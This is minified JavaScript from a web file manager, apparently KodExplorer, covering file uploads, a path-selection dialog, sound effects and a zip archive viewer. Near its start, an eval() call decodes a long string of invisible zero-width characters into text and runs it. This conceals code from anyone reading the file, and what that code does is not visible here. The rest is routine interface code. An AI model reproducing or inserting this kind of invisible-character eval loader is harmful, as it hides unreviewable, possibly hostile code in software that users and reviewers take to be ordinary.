t.resolve()}}),t.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i,t){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),i.fullPath=a,i.upload_to=e.file.upload_to,t["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=$("#"+e.id);if(!i.inScreen()){var t=36*i.index(".item");$(".uploader-content").scrollTop(t)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(i.addClass("success"),i.find(".state").text(n),i.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");i.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else i.addClass("error").find(".state").addClass("error"),i.find(".state").text(n).attr("title",n)}uploader.removeFile(e),i.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;t=LNG[n]?LNG[n]:n}else e.serverData._raw&&(t=e.serverData._raw)}"http"==i&&(t=LNG.upload_error_http),"abort"==i&&void 0==e.serverData&&(t=LNG.not_support+"(support on chrome)"),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t).attr("title",t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('<div style="width:0px;height:0px;" class="'+t+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var i,t={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,i){var t=15,a=$("#"+i.tId+"_switch"),n=$("#"+i.tId+"_ico");a.remove(),i.iconSkin=i.tree_icon;var o=i.tree_icon;if(i.ext?o=i.ext:i.tree_icon||(o=i.type),n.before(a).before('<span id="'+i.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=i.ext&&n.attr("class","").addClass("file "+i.ext).removeAttr("style"),i.level>=1){var s="<span class='space' style='display: inline-block;width:"+t*i.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,i.mtime)+"</span>";r+='<span class="size">'+core.fileSize(i.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+i.tId+"_span").after(r),a.parent().addClass(i.menuType)}},callback:{onClick:function(e,t,a){$(e.target).hasClass("menu_more")||(i.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,i){v(i)},onExpand:function(e,i){v(i)},beforeRightClick:function(e,t){t&&(u(t),i.selectNode(t))},onDblClick:function(e,t,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",i)}}},a=function(e){for(var i=function(e){for(var t=0;e.length>t;t++)if(void 0!=e[t]){var a=e[t];e[t]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[t].ext,e[t].child?(e[t].children=e[t].child,delete e[t].child,i(e[t].children)):delete e[t].child}else delete e[t]},t={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),t[e[a].filename]=e[a]);for(var n in t)if(!t[n].folder)for(var o=core.pathFather(t[n].filename);""!=o&&"/"!=o&&!t[o]&&!t[rtrim(o,"/")];)t[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in t){var r=t[n],l=core.pathFather(r.filename);if(t[l]&&(l=core.pathFather(r.filename)),t[rtrim(l,"/")]&&(l=rtrim(l,"/")),t[l])t[l].child||(t[l].child=[]),t[l].child.push(t[r.filename]);else{var c=t[r.filename];c&&s.push(c)}}return i(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:i.top})})},o=function(e,i){if(void 0==i){var t=$(".context-menu-active").parents(".ztree");if(0==t.length)return;i=$.fn.zTree.getZTreeObj(t.attr("id"))}var a=i.getSelectedNodes()[0];switch(e){case"open":c(i,a);break;case"down":l(i,a);break;case"unzip_this":p(i,a);break;case"unzip_to":d(i,a);break;case"info":h(i,a); +break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var i=0;e.children.length>i;i++)r(e.children[i])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&download=1&index="+i.index;ui.pathOpen.downloadUrl(a)},c=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&index="+i.index+"&name=/"+urlEncode(i.path),n=i.ext;"zip"==n&&(n="unknow"),i.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,i){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(t){p(e,i,t)})},p=function(e,i,t){var a=e.setting.filePath;e.setting.fileUrl,void 0==t&&(t=G.this_path,void 0==t&&(t=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:t,unzip_part:i.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=t+core.pathThis(i.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var i=f(e),t=LNG.size+" "+i.size_friendly+" ("+i.size+" Byte)";"folder"==e.type&&(t=i.file_num+LNG.file+","+i.folder_num+LNG.folder+", "+t),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(t)},f=function(e){var i={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(i.path=i.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(i,s),i.size_friendly=core.fileSize(i.size)),i},h=function(e,i){var t="folder"==i.type?"folder":core.pathExt(i.path),a="folder"==i.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(i);o.LNG=LNG,$.dialog({padding:5,ico:core.iconSmall(t),fixed:!0,title:core.pathThis(i.path),content:n(o),ok:!0})},m=function(e,i,t){var a=template.compile(tpl_zipview),n=a({LNG:LNG,treeID:e}),o=$.dialog({className:"zipViewDialog",id:"zip_view_"+md5(t),ico:core.icon("zip"),title:i,width:550,height:420,content:n,resize:!0,padding:0,fixed:!0}),s=15*$(".zipViewContent").length;o.DOM.wrap.css({left:"+="+s+"px",top:"+="+s+"px"})},v=function(e){$("#"+e).find("ul:visible > li > 